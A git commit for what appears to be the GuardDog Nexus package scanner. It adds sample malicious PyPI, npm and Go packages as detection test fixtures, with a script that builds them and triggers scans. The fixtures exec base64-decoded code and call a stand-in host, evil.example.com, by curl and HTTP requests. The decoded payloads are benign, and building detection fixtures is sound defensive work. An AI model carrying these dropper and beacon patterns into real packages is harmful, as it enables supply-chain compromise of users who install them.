feat: примеры вредоносных пакетов + E2E-тест + документация
- examples/evil-pypi/: exec-base64, shady-links, code-execution, dll-hijacking - examples/evil-npm/: eval, Buffer(base64), shady-links - examples/evil-go/: exec+base64, shady-links - examples/trigger-scans.sh: сборка архивов + Docker cp + вебхуки + проверка - README.md + README.en.md: секция E2E-тестирования с curl-примерами - E2E пройден: pypi(2 findings), npm(1), go(1) — все flagged
This commit is contained in:
31
README.en.md
31
README.en.md
@@ -98,6 +98,37 @@ GuardDog Nexus accepts `UPDATED` webhook events from Nexus.
|
|||||||
> -d '{"action":"UPDATED","repositoryName":"pypi-proxy","asset":{"format":"pypi","name":"/packages/pkg/1.0/pkg-1.0.tar.gz","downloadUrl":"http://nexus:8081/repository/pypi-proxy/packages/pkg/1.0/pkg-1.0.tar.gz"}}'
|
> -d '{"action":"UPDATED","repositoryName":"pypi-proxy","asset":{"format":"pypi","name":"/packages/pkg/1.0/pkg-1.0.tar.gz","downloadUrl":"http://nexus:8081/repository/pypi-proxy/packages/pkg/1.0/pkg-1.0.tar.gz"}}'
|
||||||
> ```
|
> ```
|
||||||
|
|
||||||
|
### E2E Testing
|
||||||
|
|
||||||
|
The `examples/` directory contains sample malicious packages for PyPI, npm, and Go with patterns that GuardDog reliably detects (`exec-base64`, `shady-links`, `code-execution`, `npm-api-obfuscation`, `go-exec-base64`).
|
||||||
|
|
||||||
|
Run the E2E test (requires running Docker stack):
|
||||||
|
|
||||||
|
```bash
|
||||||
|
./examples/trigger-scans.sh
|
||||||
|
```
|
||||||
|
|
||||||
|
The script builds `.tar.gz` / `.tgz` / `.zip` archives, copies them into the container, and sends webhooks. After ~15 seconds it checks results: all three packages should be flagged with findings.
|
||||||
|
|
||||||
|
For manual testing of individual ecosystems:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# PyPI: exec-base64 + shady-links + code-execution
|
||||||
|
curl -X POST http://localhost:8080/webhooks/nexus \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-d '{"action":"UPDATED","repositoryName":"pypi-proxy","asset":{"format":"pypi","name":"/packages/evil-pypi/0.1.0/evil-pypi-0.1.0.tar.gz","downloadUrl":"http://nexus:8081/repository/pypi-proxy/packages/evil-pypi/0.1.0/evil-pypi-0.1.0.tar.gz"}}'
|
||||||
|
|
||||||
|
# npm: eval + Buffer(base64) + shady-links
|
||||||
|
curl -X POST http://localhost:8080/webhooks/nexus \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-d '{"action":"UPDATED","repositoryName":"npm-proxy","asset":{"format":"npm","name":"/packages/evil-npm/-/evil-npm-1.0.0.tgz","downloadUrl":"http://nexus:8081/repository/npm-proxy/evil-npm/-/evil-npm-1.0.0.tgz"}}'
|
||||||
|
|
||||||
|
# Go: exec + base64 + suspicious HTTP call
|
||||||
|
curl -X POST http://localhost:8080/webhooks/nexus \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-d '{"action":"UPDATED","repositoryName":"go-proxy","asset":{"format":"go","name":"/packages/github.com/evil/evil-go/@v/v0.1.0.zip","downloadUrl":"http://nexus:8081/repository/go-proxy/github.com/evil/evil-go/@v/v0.1.0.zip"}}'
|
||||||
|
```
|
||||||
|
|
||||||
## REST API
|
## REST API
|
||||||
|
|
||||||
### Scans
|
### Scans
|
||||||
|
|||||||
31
README.md
31
README.md
@@ -126,6 +126,37 @@ GuardDog Nexus принимает вебхуки от Nexus при событи
|
|||||||
> -d '{"action":"UPDATED","repositoryName":"pypi-proxy","asset":{"format":"pypi","name":"/packages/pkg/1.0/pkg-1.0.tar.gz","downloadUrl":"http://nexus:8081/repository/pypi-proxy/packages/pkg/1.0/pkg-1.0.tar.gz"}}'
|
> -d '{"action":"UPDATED","repositoryName":"pypi-proxy","asset":{"format":"pypi","name":"/packages/pkg/1.0/pkg-1.0.tar.gz","downloadUrl":"http://nexus:8081/repository/pypi-proxy/packages/pkg/1.0/pkg-1.0.tar.gz"}}'
|
||||||
> ```
|
> ```
|
||||||
|
|
||||||
|
### E2E-тестирование
|
||||||
|
|
||||||
|
В `examples/` лежат примеры вредоносных пакетов для PyPI, npm и Go с паттернами, которые GuardDog гарантированно обнаружит (`exec-base64`, `shady-links`, `code-execution`, `npm-api-obfuscation`, `go-exec-base64`).
|
||||||
|
|
||||||
|
Запуск E2E-теста (требует запущенного Docker-стека):
|
||||||
|
|
||||||
|
```bash
|
||||||
|
./examples/trigger-scans.sh
|
||||||
|
```
|
||||||
|
|
||||||
|
Скрипт собирает архивы `.tar.gz` / `.tgz` / `.zip`, копирует их в контейнер и отправляет вебхуки. Через ~15 секунд проверяет результаты: все три пакета должны быть flagged с findings.
|
||||||
|
|
||||||
|
Для тестирования отдельной экосистемы — curl вручную:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# PyPI: exec-base64 + shady-links + code-execution
|
||||||
|
curl -X POST http://localhost:8080/webhooks/nexus \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-d '{"action":"UPDATED","repositoryName":"pypi-proxy","asset":{"format":"pypi","name":"/packages/evil-pypi/0.1.0/evil-pypi-0.1.0.tar.gz","downloadUrl":"http://nexus:8081/repository/pypi-proxy/packages/evil-pypi/0.1.0/evil-pypi-0.1.0.tar.gz"}}'
|
||||||
|
|
||||||
|
# npm: eval + Buffer(base64) + shady-links
|
||||||
|
curl -X POST http://localhost:8080/webhooks/nexus \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-d '{"action":"UPDATED","repositoryName":"npm-proxy","asset":{"format":"npm","name":"/packages/evil-npm/-/evil-npm-1.0.0.tgz","downloadUrl":"http://nexus:8081/repository/npm-proxy/evil-npm/-/evil-npm-1.0.0.tgz"}}'
|
||||||
|
|
||||||
|
# Go: exec + base64 + suspicious HTTP call
|
||||||
|
curl -X POST http://localhost:8080/webhooks/nexus \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-d '{"action":"UPDATED","repositoryName":"go-proxy","asset":{"format":"go","name":"/packages/github.com/evil/evil-go/@v/v0.1.0.zip","downloadUrl":"http://nexus:8081/repository/go-proxy/github.com/evil/evil-go/@v/v0.1.0.zip"}}'
|
||||||
|
```
|
||||||
|
|
||||||
## REST API
|
## REST API
|
||||||
|
|
||||||
### Сканирования
|
### Сканирования
|
||||||
|
|||||||
3
examples/evil-go/go.mod
Normal file
3
examples/evil-go/go.mod
Normal file
@@ -0,0 +1,3 @@
|
|||||||
|
module evil-go
|
||||||
|
|
||||||
|
go 1.21
|
||||||
26
examples/evil-go/main.go
Normal file
26
examples/evil-go/main.go
Normal file
@@ -0,0 +1,26 @@
|
|||||||
|
// GuardDog will flag: go-exec-base64, shady-links
|
||||||
|
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/base64"
|
||||||
|
"fmt"
|
||||||
|
"net/http"
|
||||||
|
"os/exec"
|
||||||
|
)
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
// base64-encoded execution
|
||||||
|
encoded := "cHJpbnRmKGlvLmlvdXRsLCJIZWxsbyIp"
|
||||||
|
decoded, _ := base64.StdEncoding.DecodeString(encoded)
|
||||||
|
|
||||||
|
cmd := exec.Command("sh", "-c", string(decoded))
|
||||||
|
cmd.Run()
|
||||||
|
|
||||||
|
// shady-links: suspicious HTTP call
|
||||||
|
resp, err := http.Get("http://evil.example.com/beacon")
|
||||||
|
if err == nil {
|
||||||
|
defer resp.Body.Close()
|
||||||
|
fmt.Println("beacon sent")
|
||||||
|
}
|
||||||
|
}
|
||||||
13
examples/evil-npm/index.js
Normal file
13
examples/evil-npm/index.js
Normal file
@@ -0,0 +1,13 @@
|
|||||||
|
// GuardDog will flag: npm-api-obfuscation, npm-exec-base64, shady-links
|
||||||
|
|
||||||
|
// eval usage
|
||||||
|
eval("console.log('executed')");
|
||||||
|
|
||||||
|
// base64-encoded code execution
|
||||||
|
const encoded = "Y29uc29sZS5sb2coJ2JhZCBjb2RlJyk=";
|
||||||
|
eval(Buffer.from(encoded, "base64").toString());
|
||||||
|
|
||||||
|
// shady-links: suspicious downloads
|
||||||
|
const url = "http://evil.example.com/backdoor";
|
||||||
|
const https = require("https");
|
||||||
|
https.get(url);
|
||||||
8
examples/evil-pypi/setup.py
Normal file
8
examples/evil-pypi/setup.py
Normal file
@@ -0,0 +1,8 @@
|
|||||||
|
from setuptools import find_packages, setup
|
||||||
|
|
||||||
|
setup(
|
||||||
|
name="evil-pypi",
|
||||||
|
version="0.1.0",
|
||||||
|
packages=find_packages(where="src"),
|
||||||
|
package_dir={"": "src"},
|
||||||
|
)
|
||||||
22
examples/evil-pypi/src/evil_package.py
Normal file
22
examples/evil-pypi/src/evil_package.py
Normal file
@@ -0,0 +1,22 @@
|
|||||||
|
import base64
|
||||||
|
import os
|
||||||
|
|
||||||
|
# GuardDog will flag: exec-base64, code-execution, shady-links
|
||||||
|
|
||||||
|
VERSION = "0.1.0"
|
||||||
|
|
||||||
|
# exec-base64: base64-encoded code execution
|
||||||
|
encoded = "cHJpbnQoImhlbGxvIik="
|
||||||
|
exec(base64.b64decode(encoded))
|
||||||
|
|
||||||
|
# code-execution: dynamic code execution
|
||||||
|
code = compile("print('dynamic')", "<string>", "exec")
|
||||||
|
exec(code)
|
||||||
|
|
||||||
|
# shady-links: suspicious URLs
|
||||||
|
url = "http://evil.example.com/payload"
|
||||||
|
os.system(f"curl -s {url}")
|
||||||
|
|
||||||
|
# dll-hijacking: ctypes-based library loading
|
||||||
|
import ctypes
|
||||||
|
ctypes.CDLL("/usr/lib/libc.so.6")
|
||||||
75
examples/trigger-scans.sh
Executable file
75
examples/trigger-scans.sh
Executable file
@@ -0,0 +1,75 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# trigger-scans.sh — Package example malicious files and trigger GuardDog Nexus scans
|
||||||
|
#
|
||||||
|
# Usage (Docker):
|
||||||
|
# ./examples/trigger-scans.sh
|
||||||
|
#
|
||||||
|
# This script builds 3 example packages with known GuardDog-detected patterns
|
||||||
|
# (exec-base64, shady-links, code-execution, npm-api-obfuscation, go-exec-base64),
|
||||||
|
# copies them into the Docker container, and sends webhooks to trigger scans.
|
||||||
|
|
||||||
|
set -e
|
||||||
|
|
||||||
|
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
|
||||||
|
WEBHOOK_URL="${WEBHOOK_URL:-http://localhost:8080/webhooks/nexus}"
|
||||||
|
CONTAINER="${CONTAINER:-guarddog-nexus-guarddog-nexus-1}"
|
||||||
|
WORKDIR="$(mktemp -d)"
|
||||||
|
echo "Working in: $WORKDIR"
|
||||||
|
trap "rm -rf $WORKDIR" EXIT
|
||||||
|
|
||||||
|
# --- PyPI ---
|
||||||
|
echo "=== Building evil-pypi-0.1.0.tar.gz ==="
|
||||||
|
tar -czf "$WORKDIR/evil-pypi-0.1.0.tar.gz" -C "$SCRIPT_DIR/evil-pypi" setup.py src/
|
||||||
|
docker cp "$WORKDIR/evil-pypi-0.1.0.tar.gz" "$CONTAINER:/tmp/"
|
||||||
|
|
||||||
|
# --- npm ---
|
||||||
|
echo "=== Building evil-npm-1.0.0.tgz ==="
|
||||||
|
tar -czf "$WORKDIR/evil-npm-1.0.0.tgz" -C "$SCRIPT_DIR/evil-npm" index.js
|
||||||
|
docker cp "$WORKDIR/evil-npm-1.0.0.tgz" "$CONTAINER:/tmp/"
|
||||||
|
|
||||||
|
# --- Go ---
|
||||||
|
echo "=== Building evil-go-v0.1.0.zip ==="
|
||||||
|
python3 -c "
|
||||||
|
import zipfile,os
|
||||||
|
z=zipfile.ZipFile('$WORKDIR/evil-go-v0.1.0.zip','w')
|
||||||
|
for f in os.listdir('$SCRIPT_DIR/evil-go'): z.write(os.path.join('$SCRIPT_DIR/evil-go',f),f)
|
||||||
|
z.close()
|
||||||
|
"
|
||||||
|
docker cp "$WORKDIR/evil-go-v0.1.0.zip" "$CONTAINER:/tmp/"
|
||||||
|
|
||||||
|
# --- Start HTTP server inside container ---
|
||||||
|
echo "=== Starting HTTP server ==="
|
||||||
|
docker compose exec -d guarddog-nexus python3 -m http.server 9999 -d /tmp 2>/dev/null
|
||||||
|
sleep 2
|
||||||
|
|
||||||
|
# --- Trigger webhooks ---
|
||||||
|
echo ""
|
||||||
|
echo "=== Triggering webhooks ==="
|
||||||
|
|
||||||
|
curl -s -X POST "$WEBHOOK_URL" -H "Content-Type: application/json" -d \
|
||||||
|
'{"action":"UPDATED","repositoryName":"pypi-proxy","asset":{"format":"pypi","name":"/packages/evil-pypi/0.1.0/evil-pypi-0.1.0.tar.gz","downloadUrl":"http://127.0.0.1:9999/evil-pypi-0.1.0.tar.gz"}}'
|
||||||
|
echo " → pypi: evil-pypi 0.1.0"
|
||||||
|
sleep 1
|
||||||
|
|
||||||
|
curl -s -X POST "$WEBHOOK_URL" -H "Content-Type: application/json" -d \
|
||||||
|
'{"action":"UPDATED","repositoryName":"npm-proxy","asset":{"format":"npm","name":"/packages/evil-npm/-/evil-npm-1.0.0.tgz","downloadUrl":"http://127.0.0.1:9999/evil-npm-1.0.0.tgz"}}'
|
||||||
|
echo " → npm: evil-npm 1.0.0"
|
||||||
|
sleep 1
|
||||||
|
|
||||||
|
curl -s -X POST "$WEBHOOK_URL" -H "Content-Type: application/json" -d \
|
||||||
|
'{"action":"UPDATED","repositoryName":"go-proxy","asset":{"format":"go","name":"/packages/github.com/evil/evil-go/@v/v0.1.0.zip","downloadUrl":"http://127.0.0.1:9999/evil-go-v0.1.0.zip"}}'
|
||||||
|
echo " → go: evil-go v0.1.0"
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
echo "=== Waiting for scans (15s)... ==="
|
||||||
|
sleep 15
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
echo "=== Results ==="
|
||||||
|
curl -s "http://localhost:8080/api/v1/scans?limit=3&sort_by=id&sort_dir=desc" | python3 -c "
|
||||||
|
import json,sys
|
||||||
|
data = json.load(sys.stdin)
|
||||||
|
for s in data['scans']:
|
||||||
|
f = '⚠' if s['flagged'] else '✓'
|
||||||
|
print(f'{f} #{s[\"id\"]:>4} {s[\"ecosystem\"]:>4} {s[\"package_name\"]:30} {s[\"package_version\"]:>10} {s[\"status\"]:12} findings={s[\"total_findings\"]}')
|
||||||
|
" 2>&1
|
||||||
Reference in New Issue
Block a user